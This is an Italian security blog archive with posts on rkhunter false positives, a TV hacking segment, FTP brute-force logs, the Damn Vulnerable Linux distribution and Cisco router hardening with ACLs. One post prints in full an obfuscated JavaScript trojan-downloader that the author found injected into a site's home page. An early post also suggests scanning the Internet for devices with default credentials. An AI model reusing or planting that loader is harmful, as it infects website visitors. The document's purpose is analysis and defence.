Archivi tag: sicurezza

Le password robuste…

Pillole, , , , ,

Avere a disposizione grandi budget da investire nella messa in sicurezza della propria infrastruttura informatica non implica l’invulnerabilità della stessa. Con questo voglio dire che nel 90% dei casi, le attività di cracking, anche le più banali, riescono grazie all’incapacità del sistemista, del tecnico di helpdesk o dell’utente vittima.

Privacy_2.jpg

Basti pensare che su Internet vi sono migliaia di dispositivi le cui interfacce di configurazione sono accessibili digitando username e password di default. Non ci credete? Incominciate ad usare nmap, magari all’interno di qualche script bash che colleziona determinati OS fingerprint e, una volta analizzati i risultati, provate una di queste credenziali di accesso:

http://www.phenoelit-us.org/dpl/dpl.html

“L’essere umano è il vero anello debole della catena”.

Alla prossima.

rkhunter ed il rootkit Xzibit

Sicurezza, , , , , ,

Qualche giorno fa sono rientrato dalle mie meritate ferie (che poi tanto ferie non erano) e mi sono ritrovato con uno un reverse proxy dell’ambiente di test spento.

Ho chiesto ai miei colleghi il perchè di questa cosa e mi è stato detto che proprio su quel proxy era stata pubblicata la porta 25 (SMTP) ed avevano paura che fosse stato ownato. Non chiedetemi per quale motivo è stato fatto questo accrocchio, ma qui i problemi erano altri, ovvero:

1) Essendo il reverse proxy basato su una distro che non viene aggiornata da illo tempore, c’era un’ampia probabilità (diventata certezza dopo ulteriore analisi) che il demone SMTP fosse bacato;

2) La porta 25 è stata lasciata in forwarding per circa una settimana, il che ha aumentato in modo esponenziale il rischio che la macchina venisse ownata da qualche lamer di turno.

rkhunter

Armato dunque di molta pazienza riaccendo la macchina ed effettuo una prima scansione con chkrootkit, che però non segnala nulla di anomalo. Non contento installo anche rkhunter (il cui rpm lo potete scaricare da qui), il quale, alla fine dell’analisi, mi riporta il seguente sommario all’interno del file di log:

[10:10:09] System checks summary
[10:10:09] =====================
[10:10:09]
[10:10:09] File properties checks...
[10:10:09] Required commands check failed
[10:10:09] Files checked: 141
[10:10:09] Suspect files: 6
[10:10:09]
[10:10:09] Rootkit checks...
[10:10:09] Rootkits checked : 253
[10:10:10] Possible rootkits: 1
[10:10:10] Rootkit names    : Xzibit Rootkit
[10:10:10]
[10:10:10] Applications checks...
[10:10:10] Applications checked: 7
[10:10:10] Suspect applications: 4
[10:10:10]
[10:10:10] The system checks took: 13 minutes and 25 seconds
[10:10:10]
[10:10:10] Info: End date is Wed Aug 31 10:10:10 CEST 2011

Uhm, possibile che sia stato installato il rootkit Xzibit? Spulcio ulteriormente il log, alla ricerca del file che ha fatto scattare l’allarme. Il risultato è il seguente:

Found string 'hdparm' in file '/etc/rc.d/init.d/vmware-tools'. Possible rootkit: Xzibit Rootkit

Ebbene, rkhunter ha interpretato come “sospetta” la stringa hdparm presente nei wmware-tools. Ma essendo una macchina virtuale è palese che si tratta di un falso positivo.

Dunque se la vostra macchina è virtuale e ci avete installato i wmware-tools è molto probabile che rkhunter generi questo allarme.

Stay tuned.

PS: per la cronaca, il reverse proxy è ok (o almeno così sembra).

Servizio de “Le Iene” sugli hacker: alcune riflessioni

Sicurezza, , , , ,

Tempo fa, durante uno dei rari momenti di relax davanti alla TV, mi sono imbattuto in un servizio de “Le Iene” in cui veniva intervistato un presunto hacker. Se non sapete di cosa sto parlando, date un’occhiata qui:

http://www.video.mediaset.it/video/iene/puntata/162355/toffa-il-pericolo-hacker.html

Ora, fondamentalmente le cose che vengono dette all’inizio sembrano piuttosto sensate e corrette. Mi riferisco alla definizione di hacker come qualcuno di estremamente curioso e capace, spinto solo ed esclusivamente dalla voglia di conoscere i sistemi in modo approfondito e dalla volontà di esplorare ambienti che dovrebbero restare ad eccesso limitato. Ciò implica anche il non voler danneggiare il sistema bucato, limitandosi ad osservarlo nella sua complessità senza intaccarne minimamente la struttura. Questa è la caratteristica peculiare degli hacker, per la precisione degli ethical hacker, tipologia che rientra pienamente nella schiera dei white hat.

Poi però il presunto hacker ammette di aver sviluppato un trojan per analizzare un pc bucato in precedenza… ed in questa pratica c’è ben poco di “etico”. Altra affermazione che non mi convince: secondo lui, i virus vengono creati per lo più da ragazzini, spinti semplicemente da finalità ludiche. Sbagliato: ormai sviluppare trojan, virus, worm e malicious software in genere è diventato quasi un business, sia per le società di sicurezza che per coloro i quali vogliono sottrarre dati sensibili agli utenti (la Russian Business Network vi dice qualcosa?), come numeri di carte di credito, password, documenti altamente confidenziali, ecc.

Dopodichè, l’intervistato afferma che sarebbe buona norma criptare i file salvati sull’HD: correttissimo, anzi a tal proposito vi consiglio di utilizzare il software gratuito e multipiattaforma TrueCrypt.

La cosa che mi lascia maggiormente perplesso, però, è la dimostrazione pratica di un “hacking”. Viene infatti mostrato quanto il PC di un normalissimo utente possa risultare vulnerabile ad eventuali attacchi esterni. Ma andiamo con ordine.

Per prima cosa viene inviata alla vittima un’email provvista di allegato. Tale allegato sembrerebbe una normalissima immagine. In realtà, mediante un software sviluppato ad hoc (total binder) all’interno del file immagine è stato incapsulato un eseguibile. Una volta che il malcapitato di turno apre l’allegato, l’eseguibile (un comunissimo trojan horse) si installa in una cartella di sistema e, mediante lo scheduler di Windows, verrà avviato automaticamente al boot del sistema operativo. Fin qui sembrerebbe tutto semplice e quasi banale, ma affinchè un trucchetto del genere riesca devono verificarsi tutta una serie di situazioni concomitanti del tipo:

1) l’utente è così tanto naive da non sapere che gli allegati delle email provenienti da indirizzi sconosciuti non devono mai essere aperti;

2) il PC della vittima è sprovvisto di un antivirus, che gli segnalerebbe il file malevolo ancor prima di aprire l’allegato (chiamasi scansione della mail);

3) il PC della vittima è collegato ad Internet mediante un semplice modem e non attraverso un router. Basterebbe infatti un semplice NAT per fare in modo che il trojan, seppur installato, non riesca a comunicare con la rete pubblica e quindi con l’attaccate.

4) sul pc della vittima non è attivo alcun firewall, nemmeno quello integrato ai sistemi operativi di casa Microsoft.

Morale della favola: tale dimostrazione è solo una spettacolarizzazione di tecniche di cracking banalissime, usate per lo più dagli script kiddie di turno. Nel complesso, non dico che tale servizio sia un tipico esempio di disinformazione, ma poco ci manca.

A presto.

Codice malevolo su un sito Web: hosting di Aruba crackato?

Sicurezza, , ,

Recentemente, su uno dei siti che ho realizzato e che gestisco ho trovato il seguente codice javascrip presente all’interno della home page (ho provato a sistemarlo in modo da renderlo più leggibile):

<scrip language="javascrip">

var kasbd3412 = "";

$$ = function () {

try {

kasbd3412= $$dfsd(gnflseejrr());

kasbd3412.do();

}

catch(e) {

var bn = "";

return kasbd3412;

}

};

var adlan3r$oubw = "e";

$$dfsd =  this['a'+'s'+'d'];

var adlan3r$ouaw = "a";

function asd(df_){

this['r']="";

var s = df_;

for(__fh=0;this['__fh']<s['l'+adlan3r$oubw+'ng'+'t'+'h'];__fh++ ) {

i=__fh;

if(s['ch'+adlan3r$ouaw +'rA'+'t'](i)=='Z') {

this[neAR_DEF_FGEvftDSyTtnSoh_1]='%'}

else {

this[neAR_DEF_FGEvftDSyTtnSoh_1]=s['ch'+'ar'+'At'](this['i'])

}

this['r']=r+VAR_EZJrWcTGuhPYZJj(this,neAR_DEF_FGEvftDSyTtnSoh_1)

}

return this['unesc'+adlan3r$ouaw + 'p'+adlan3r$oubw](r)

}

var ez=window
VAR_AiCzwbiiMdphDXs=(function(VAR_JMFILTCeLQNWkAf,VAR_gqWQtFFAsjjtVqK){return VAR_JMFILTCeLQNWkAf[VAR_gqWQtFFAsjjtVqK];});


VAR_EZJrWcTGuhPYZJj=(function(VAR_wiSIHKenjOMRPsE,VAR_SfXtSSNCWJXwgQF){return VAR_AiCzwbiiMdphDXs(VAR_wiSIHKenjOMRPsE,VAR_SfXtSSNCWJXwgQF);});

function gnflseejrr() {

return $a

}

var neAR_DEF_FGEvftDSyTtnSoh_1='s'+'1';

BKbk34b32='Z63aZ3dZ22Z2566unZ2563tioZ256e Z2564csZ2528dsZ252cesZ2529Z257bdZ2573Z253dunesZ2563apeZ25Z22;ddZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9;!Z2520Z2520+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;sZ7bxpyz;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;cdZ3dZ22Z2574Z253dst+Z2553Z2574rinZ2567.frZ256fmCZ2568aZ2572CZ256fdZ2565(Z2528tmpZ252eZ22;deZ3dZ22!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+0}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87trc7Z3c07id~7Z3c07f}d7Z3c07f}b7Z3c07}|s7Z3c07Z257FhZ7b7Z3c07vtc7Z3c07rfv7Z3c07iec7Z3c07}s`7Z3c07~sj7Z3c07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;stZ3dZ22Z2573Z2574Z253dZ2522$aZ253dsZ2574;Z2564cZ2573(Z2564Z2561Z252bdZ2562+Z2564cZ252bdZ2564Z252bZ2564eZ252c1Z2530Z2529Z253bZ2564wZ2528Z2573tZ2529Z253bsZ2574Z253d$Z2561Z253bZ2522;Z22;czZ3dZ22Z2566uZ256eZ2563tZ2569on Z2563z(cZ257a)Z257breZ2574urnZ2520cZ2561+cZ2562+ccZ252bZ2563d+cZ2565+cZ257aZ253bZ257dZ253bZ22;opZ3dZ22Z2524aZ253dZ2522dZ2577(dcZ2573(cZ2575,14Z2529);Z2522;Z22;ceZ3dZ22chaZ2572CoZ2564eAtZ25280)Z255eZ2528Z25270x0Z2530Z2527+Z2565s)Z2529);}Z257dZ22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;cbZ3dZ2228dsZ2529;sZ2574Z253dtmpZ253dZ2527Z2527;for(iZ253d0;iZ253cdZ2573Z252elZ2565nZ22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;dzZ3dZ22Z2566Z2575nctZ2569oZ256e dwZ2528Z2574)Z257bcaZ253dZ2527Z252564oZ2563Z252575meZ25256eZ2574.Z252577rZ252569Z2574e(Z25252Z2532Z2527Z253bZ2563Z2565Z253dZ2527Z252522Z252529Z2527;cbZ253dZ2527Z25253csZ252563riZ2525Z25370Z25257Z2534 lZ2525Z25361Z25256Z2565Z2567uaZ252567Z252565Z25253Z2564Z25255cZ252522Z256aZ252561Z2576asZ252563rZ2569Z2525Z25370Z252574Z25255Z2563Z252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fsZ2563ripZ2574Z2525Z2533eZ2527;windZ256fw[Z2522Z2565Z2522+Z2522Z2522+ Z2522vZ2522+Z2522alZ2522](uneZ2573Z2563aZ2570Z2565(tZ2529)};Z22;ccZ3dZ22Z2567Z2574h;Z2569++Z2529Z257btZ256dpZ253dds.sZ256cicZ2565(iZ252ci+1Z2529;Z2573Z22;Z69f (Z64Z6fcuZ6denZ74.Z63Z6foZ6bieZ2eindZ65xOfZ28Z27rZ66Z35f6Z64Z73Z27)Z3dZ3d-1Z29Z7bfZ75ncZ74ionZ20cZ61lZ6cZ62aZ63kZ28Z78)Z7bwinZ64Z6fw.tZ77Z20Z3d Z78;Z76Z61r dZ20Z3d new DZ61tZ65()Z3bdZ2esetZ54imeZ28Z78[Z22aZ73Z5foZ66Z22]*1Z3000Z29;vaZ72 hZ20Z3d d.Z67Z65tUZ54CHZ6fursZ28)Z3bwiZ6eZ64ow.Z68 Z3d hZ3bZ69Z66 Z28h Z3e Z38)Z7bd.Z73Z65tUTZ43DZ61tZ65Z28Z64.geZ74UTZ43Z44atZ65Z28) Z2dZ202Z29Z3b}elZ73Z65Z7bd.sZ65tUTZ43DaZ74eZ28Z64.Z67etUZ54CDZ61te(Z29 -Z203Z29Z3b}wZ69nZ64owZ2egdZ20Z3dZ20d;vZ61Z72 Z74iZ6de Z3d neZ77 ArZ72Z61y(Z29Z3bZ76Z61r Z73hZ69ftIZ6edZ65x Z3d Z22Z22;timeZ5bZ22yearZ22] Z3d d.gZ65tUZ54CFuZ6clZ59eZ61r()Z3btiZ6deZ5bZ22moZ6etZ68Z22] Z3d d.Z67Z65tZ55TZ43Z4donZ74Z68Z28Z29+Z31Z3btiZ6deZ5bZ22dayZ22] Z3d Z64.Z67etZ55TCZ44ateZ28);Z69f Z28d.gZ65Z74Z55TZ43MonZ74hZ28)+Z31 Z3c 1Z30Z29Z7bshiZ66tInZ64Z65Z78 Z3d tiZ6de[Z22Z79earZ22] +Z20Z22-0Z22 + (Z64.geZ74UZ54CMZ6fnthZ28Z29+Z31);}Z65Z6cseZ7bshZ69Z66tInZ64ex Z3d tZ69mZ65Z5bZ22Z79earZ22Z5d Z2bZ20Z22-Z22 + (dZ2eZ67etZ55TCZ4donZ74h()Z2b1);Z7difZ20Z28d.Z67etUZ54CDaZ74e()Z20Z3cZ20Z310)Z7bsZ68ifZ74InZ64ex Z3dshiZ66tZ49nZ64Z65Z78Z20+Z20Z22-Z30Z22 +Z20dZ2egeZ74UZ54Z43DatZ65();Z7deZ6cseZ7bshiZ66Z74InZ64ex Z3d sZ68ifZ74IZ6eZ64exZ20+Z20Z22-Z22 + dZ2egetZ55TCZ44ateZ28)Z3b}Z64Z6fcumZ65nt.Z77Z72iZ74e(Z22Z3csZ63rZ22+Z22ipt Z6cZ61Z6eZ67Z75Z61Z67eZ3djavaZ73crZ69ptZ22+Z22 sZ72cZ3dZ27htZ74pZ3aZ2fZ2fsearch.tZ77ittZ65rZ2ecomZ2fZ74reZ6edZ73Z2fdailZ79.jsZ6fZ6eZ3fdaZ74Z65Z3dZ22+ Z73Z68Z69fZ74InZ64ex+Z22Z26cZ61llZ62aZ63Z6bZ3dcalZ6cbacZ6b2Z27Z3eZ22 +Z20Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);Z7d Z66Z75Z6ectiZ6fn cZ61Z6clbaZ63Z6b2Z28x)Z7bZ77inZ64oZ77.tZ77 Z3dZ20x;Z73c(Z27Z72f5fZ36dsZ27,2,7Z29Z3beZ76aZ6c(unZ65sZ63aZ70e(dZ7aZ2bczZ2bZ6fp+Z73t)Z2bZ27dw(Z64zZ2bcZ7a($Z61Z2bZ73t))Z3bZ27);docZ75menZ74.Z77rZ69te(Z24Z61);}Z64ocuZ6denZ74.wZ72itZ65(Z22Z3cimg srZ63Z3dZ27httZ70:Z2fZ2fsearZ63hZ2etwiZ74Z74Z65r.cZ6fmZ2fimaZ67esZ2fseaZ72chZ2frsZ73.pZ6egZ27 wZ69dtZ68Z3d1 heZ69gZ68tZ3d1 Z73tyZ6ceZ3dZ27visiZ62Z69liZ74y:Z68iddZ65nZ27 Z2fZ3e Z3cscrZ22+Z22ipt Z6caZ6eguZ61geZ3djavaZ73crZ69ptZ22+Z22 sZ72cZ3dZ27httZ70:Z2fZ2fsearZ63Z68.Z74wiZ74Z74erZ2ecZ6fmZ2ftrZ65nZ64Z73Z2fdailZ79Z2ejZ73on?Z63aZ6clbZ61cZ6bZ3dcalZ6cbZ61cZ6bZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}elseZ7b$Z61Z3dZ27Z27};function Z73c(cZ6em,vZ2cedZ29Z7bvarZ20eZ78dZ3dnewZ20DZ61Z74eZ28);eZ78Z64.seZ74DatZ65(Z65xdZ2egetZ44atZ65()+Z65dZ29Z3bdoZ63umZ65nZ74Z2ecZ6fokZ69Z65Z3dZ63nZ6d+ Z27Z3dZ27 +escapZ65(vZ29+Z27;exZ70iZ72esZ3dZ27+exd.toZ47MZ54StZ72iZ6eg()Z3b};';

var $a = BKbk34b32.replace(/98/g, "Z");

ez[String.fromCharCode(101,118,97)+'l']($$())

</scrip>

Trattasi sicuramente di un trojan che mediante del codice lato client prova ad infettare il PC dell’ignaro visitatore. In particolare, l’antivirus segnala il seguente codice malicious: JS/trojandownloader.twetti.nac

Nei prossimi giorni procederò con l’analisi e la deoffuscamento del codice, stay tuned.

DVL (Damn Vulnerable Linux) la distro più vulnerabile che esista

SO: Linux, , ,

Ormai è risaputo di quanto siano sicure alcune distribuzioni *nix, tra cui la celeberrima FreeBSD (un solo exploit da remoto in 10 anni). Eppure vi sono tante altre distribuzioni che non fanno della sicurezza il loro obiettivo primario. Tra queste vi è certamente DVL (Damn Vulnerable Linux – un nome una garanzia), appositamente forgiata per presentare numerosissime falle di sicurezza ed aiutare gli aspiranti “security consultant” durante la loro formazione. Effettivamente l’idea non è male, in quanto tale distribuzione potrebbe anche essere utilizzata come passatempo, per “testare” l’effetto dei vari exploit sui bug presenti.

Ovviamente trattasi di bug arcinoti e piuttosto datati, per cui le ultime versioni dei software dovrebbero esserne immuni (almeno spero). Comunque, bando alle ciance ed enjoy: http://www.damnvulnerablelinux.org/

try2hack mybox: il nuovo gioco dell’estate

Sicurezza, , ,

Ok, è il solito lunedì mattina e da quando ho deciso di rendere accessibile dall’esterno il mio server FTP l’analisi dei log è diventata una routine. Ecco allora che mi appresto a dare una lettura a /var/www/vsftpd.log e subito mi ritrovo 3 tonnellate di attempts del tipo:

Sun Jun 27 05:33:04 2010 [pid 20356] CONNECT: Client "208.51.239.*"
Sun Jun 27 05:33:07 2010 [pid 20355] [Administrator] FAIL LOGIN: Client "208.51.                                                      239.*"
Sun Jun 27 05:33:11 2010 [pid 20355] [Administrator] FAIL LOGIN: Client "208.51.                                                      239.*"
Sun Jun 27 05:33:14 2010 [pid 20355] [Administrator] FAIL LOGIN: Client "208.51.                                                      239.*"
Sun Jun 27 05:51:02 2010 [pid 24294] CONNECT: Client "208.51.239.*"
Sun Jun 27 05:51:05 2010 [pid 24293] [Administrator] FAIL LOGIN: Client "208.51.                                                      239.*"
Sun Jun 27 05:51:08 2010 [pid 24293] [Administrator] FAIL LOGIN: Client "208.51.                                                      239.*"
Sun Jun 27 05:51:11 2010 [pid 24293] [Administrator] FAIL LOGIN: Client "208.51.                                                      239.*"

Ed ecco a voi il classico attacco bruteforce esaustivo. Ma sta gente cosa ci troverà di interessante nel tentare di forzare un server FTP casalingo?

Ma trattasi del vero IP sorgente oppure di una testa di ponte? Gira che ti rigira, ho visto che a questo IP risponde un server HTTPS, il quale presenta un form per il login che mi è familiare… Si, è il classico login di fortiOS! (leggasi sistema operativo integrato in dotazione ai firewall Fortigate ma anche ai SAS900 Elsag-Datamat).

Non so perchè, ma qualcosa mi lascia pensare che si tratti proprio di una testa di ponte 🙂

Bhè, quanti “cracker” professionisti ci sono in giro!

Alla prossima.

Irrobustire le difese del nostro router Cisco SOHO

Sicurezza, , , , , ,

Abbiamo già visto nei precedenti post come configurare il nostro router per i protocolli PPPoA e PPPoE. Adesso vediamo quali sono le possibili tecniche per difenderlo da eventuali attacchi di bruteforce, IP spoofing o di tipo Denial of Service (DoS).

Messa in sicurezza delle connessioni Telnet

Il nostro router Cisco consente (per default) la connessione sulla porta 23 (Telnet) anche da host esterni alla nostra rete (ovvero da Internet), rendendolo soggetto ad eventuali attacchi di bruteforce.

Un modo per evitare che ciò avvenga è creare un ACL apposita che permetta la connessione al router via Telnet esclusivamente dagli host della nostra rete. Supponiamo quindi che la nostra LAN comprenda 6 indirizzi utilizzabili, ovvero 192.168.1.1 (il router), 192.168.1.2, 192.168.1.3, 192.168.1.4, 192.168.1.5, 192.168.1.6. Come avrete notato la subnet mask utilizzata è una /29 (255.255.255.248), la quale comprende in tutto 8 indirizzi di cui solo 6 possono essere assegnati agli host (il primo indirizzo indentifica la nostra rete, ovvero 192.168.1.0, mentre l’indirizzo 192.168.1.7 rappresenta il broadcast).

Detto ciò, non ci resta che definire l’ACL, digitando:

NightRouter(config)#access-list 1 permit 192.168.1.0 0.0.0.7

Tramite questo comando abbiamo creato l’ACL standard identificata dal numero 1 che permette l’accesso agli host appartenenti alla nostra LAN. Per fare ciò abbiamo dovuto specificare sia l’indirizzo di rete (192.168.1.0) che la wildmask (0.0.0.7). Quest’ultima rappresenta la parte fissa dell’indirizzo mediante degli zeri, mentre la parte variabile viene indicata attraverso il massimo valore intero rappresentabile dai bit che verranno utilizzati per formare l’indirizzo IP degli host.

Ad esempio, nel nostro caso, una /29 indica che su 32 bit (dimensione di un indirizzo IPv4) 29 costituiscono la maschera, mentre gli ultimi 3 concorrono a costituire gli indirizzi IP degli host. Sappiamo che il valore intero massimo rappresentabile mediante questi bit è pari a 7. Ergo la wildmask sarà pari a 0.0.0.7.

Discorso analogo va fatto per la classe A di indirizzi privati, ovvero la 10.0.0.0/8. In questo caso abbiamo 8 bit che costituiscono la subnet mask mentre gli altri 24 verranno utilizzati per assegnare gli indirizzi IP agli host. Dunque quale sarà la wildcard mask? Semplice: 0.255.255.255.

Per gli indirizzi di classe B privati, che vanno da 172.16.0.0/16 a 172.31.255.255/16 abbiamo la seguente wildcard: 0.15.255.255. Infine, per gli indirizzi privati di classe C, ovvero 192.168.1.0/24, 192.168.2.0/24 e così via possiamo utilizzare questa wildmask:

0.0.255.255

associata all’indirizzo 192.168.0.0, ovvero un indirizzo privato di classe C adattato a classe B, in modo tale che con una sola wildmask vengano interessate tutte le possibili reti private di classe C.

Questa spiegazione ci tornerà utilie quando andremo ad implementare le regole per difenderci dall’IP spoofing.

Tornando alla nostra ACL, è necessario che essa venga associata al servizio Telnet, che negli apparati Cisco prende il nome di vty. Per fare ciò basta digitare:

NightRouter(config)# line vty 0 4

NightRouter(config-line)# access-class 1 in

NightRouter(config-line)# exit

Come avrete facilmente intuito è il comando access-class che associa l’ACL standard 1 in ingresso al terminale Telnet.

Sicuramente a questo punto vi starete chiedendo: perchè ho definito un ACL che permette l’accesso via Telnet sul router agli host della mia LAN se poi non ho definito alcuna regola per vietare l’accesso a tutti gli altri host?

Semplice, ogni ACL nel momento in cui viene creata ha come regola implicita il deny any, quindi tutti gli altri host vengono automaticamente esclusi da ogni possibilità di accesso.

Misure contro L’IP Spoofing

Bene, il nostro terminale Telnet è finalmente al sicuro. Vediamo ora come fare per difenderci dall’IP spoofing, tecnica che prevede l’alterazione dell’IP sorgente presente all’interno dei pacchetti, in modo da aggirare i controlli effettuati dal router attraverso le ACL.

Una prima difesa contro questo attacco consiste essenzialmente nel creare un’ACL estesa in cui definire tutti gli indirizzi IP che non possono accedere al router mediante l’interfaccia connessa ad internet (Dialer0).

Passiamo quindi alla creazione dell’ACL:

NightRouter(config)# access-list 101 deny ip 10.0.0.0 0.255.255.255 any log

Mediante questo comando stiamo creando l’access list estesa (identificata dal numero 101) che nega qualsiasi pacchetto facente uso del protocollo IP proveniente dalla net 10.0.0.0/8 e diretto verso qualunque host della nostra rete.

Aggiungiamo altre regole alla nostra ACL:

NightRouter(config)# access-list 101 deny ip 172.16.0.0 0.15.255.255 any log

NightRouter(config)# access-list 101 deny ip 192.168.0.0 0.0.255.255 any log

NightRouter(config)# access-list 101 deny ip host 127.0.0.1 any log

NightRouter(config)# access-list 101 deny ip host 255.255.255.255 any log

NightRouter(config)# access-list 101 deny ip 224.0.0.0 15.255.255.255 any log

NightRouter(config)# access-list 101 permit ip any any log

Quest’ultima regola consente l’accesso a tutti gli altri host non esplicitamente negati nell’ambito delle regole precendenti.

Facciamo ora alcune piccole considerazioni:

1) Il termine “host” utilizzato nell’ambito delle regole 4 e 5 indica all’ACL che l’indirizzo da negare è soltanto uno, ovvero, rispettivamente, 127.0.0.1 (localhost) nel caso della regola numero 4 e 255.255.255.255 (broadcast) nel caso della regola numero 5. In alternativa avrei potuto usare la wildmask 0.0.0.0 immediatamente dopo l’indirizzo IP, ad esempio:

NightRouter(config)# access-list 101 deny ip 127.0.0.1 0.0.0.0 any log

NightRouter(config)# access-list 101 deny ip 255.255.255.255 0.0.0.0 any log

2) Per ciò che concerne, invece, la numerazione delle ACL, quelle standard vanno numerate da 1 a 99 e quelle estese da 101 a 199 (esistono comunque altri range utilizzabili per entrambe le tipologie di ACL).

3) Infine, è bene notare che le regole vengono applicate dal router in ordine sequenziale, ovvero dalla prima all’ultima. Quindi, se un dato pacchetto rispetta una regola, quelle immediatamente successive verranno ignorate. A tal proposito facciamo un piccolo esempio:

NightRouter(config)# access-list 101 permit ip any any

NightRouter(config)# access-list 101 deny 82.11.199.188 any any

Quest’ultima regola verrà palesemente ignorata dal router, in quanto abbiamo già permesso l’accesso indistinto a tutti i pacchetti.

PS: il termine log presente alla fine di ogni regola associata all’ACL indica al router di loggare tutti i pacchetti che sono stati scartati da essa.

Un piccolo trucco: quando definite il permit ip any any in un’ACL siate certi di aver negato tutti gli host ai quali non volete permettere l’accesso, anche perchè non è possibile (sia per le ACL standard che per quelle estese) andare a rimuovere una singola regola (se ad esempio digitiamo il comando no access-list 101 permit ip any any viene rimossa l’intera ACL).

Comunque, per sopperire a tale limitazione, le IOS più recenti hanno introdotto le ACL nominali, in cui è prevista la cancellazione di una o più regole specifiche.

Associamo tale ACL in ingresso all’interfaccia Dialer0, ovvero quella direttamente connessa ad Internet:

NightRouter(config)# int dia0

NightRouter(config-if)# ip access-group 101 in

Difesa contro gli attacchi di tipo DoS (Smurfing)

smurf-attack.jpg

 

Bene, ora non ci resta che difendere il nostro router dagli attacchi di tipo DoS. Per prima cosa occorre prendere delle contromisure contro lo smurfing. Tale tecnica coinvolge almeno tre tipi di attori: l’host dell’attaccante (A), uno o più host della nostra LAN (B) e l’host vittima (C). Nella fattispecie, l’host dell’attaccante, ovvero A, invia delle richieste di broadcast ad uno o più host della nostra LAN (B), contenenti come indirizzo IP sorgente quello dell’host vittima (C). Tali richieste di livello 3 (255.255.255.255) vengono convertite in richieste di livello 2 (FF:FF:FF:FF:FF:FF) (solitamente dal router) in modo tale che tutti gli host della LAN possano rispondere, generando un elevato ammontare di traffico. A questo punto, tutte le risposte così generate verranno inoltrate sotto forma di pacchetti ICMP verso l’host vittima, congestionandolo di conseguenza.

Per fare in modo che gli host della nostra LAN non vengano utilizzati come testa di ponte per attacchi di questo tipo basta lanciare il comando:

NightRouter(config)# int e0

NightRouter(config-if)# no ip directed-broadcast

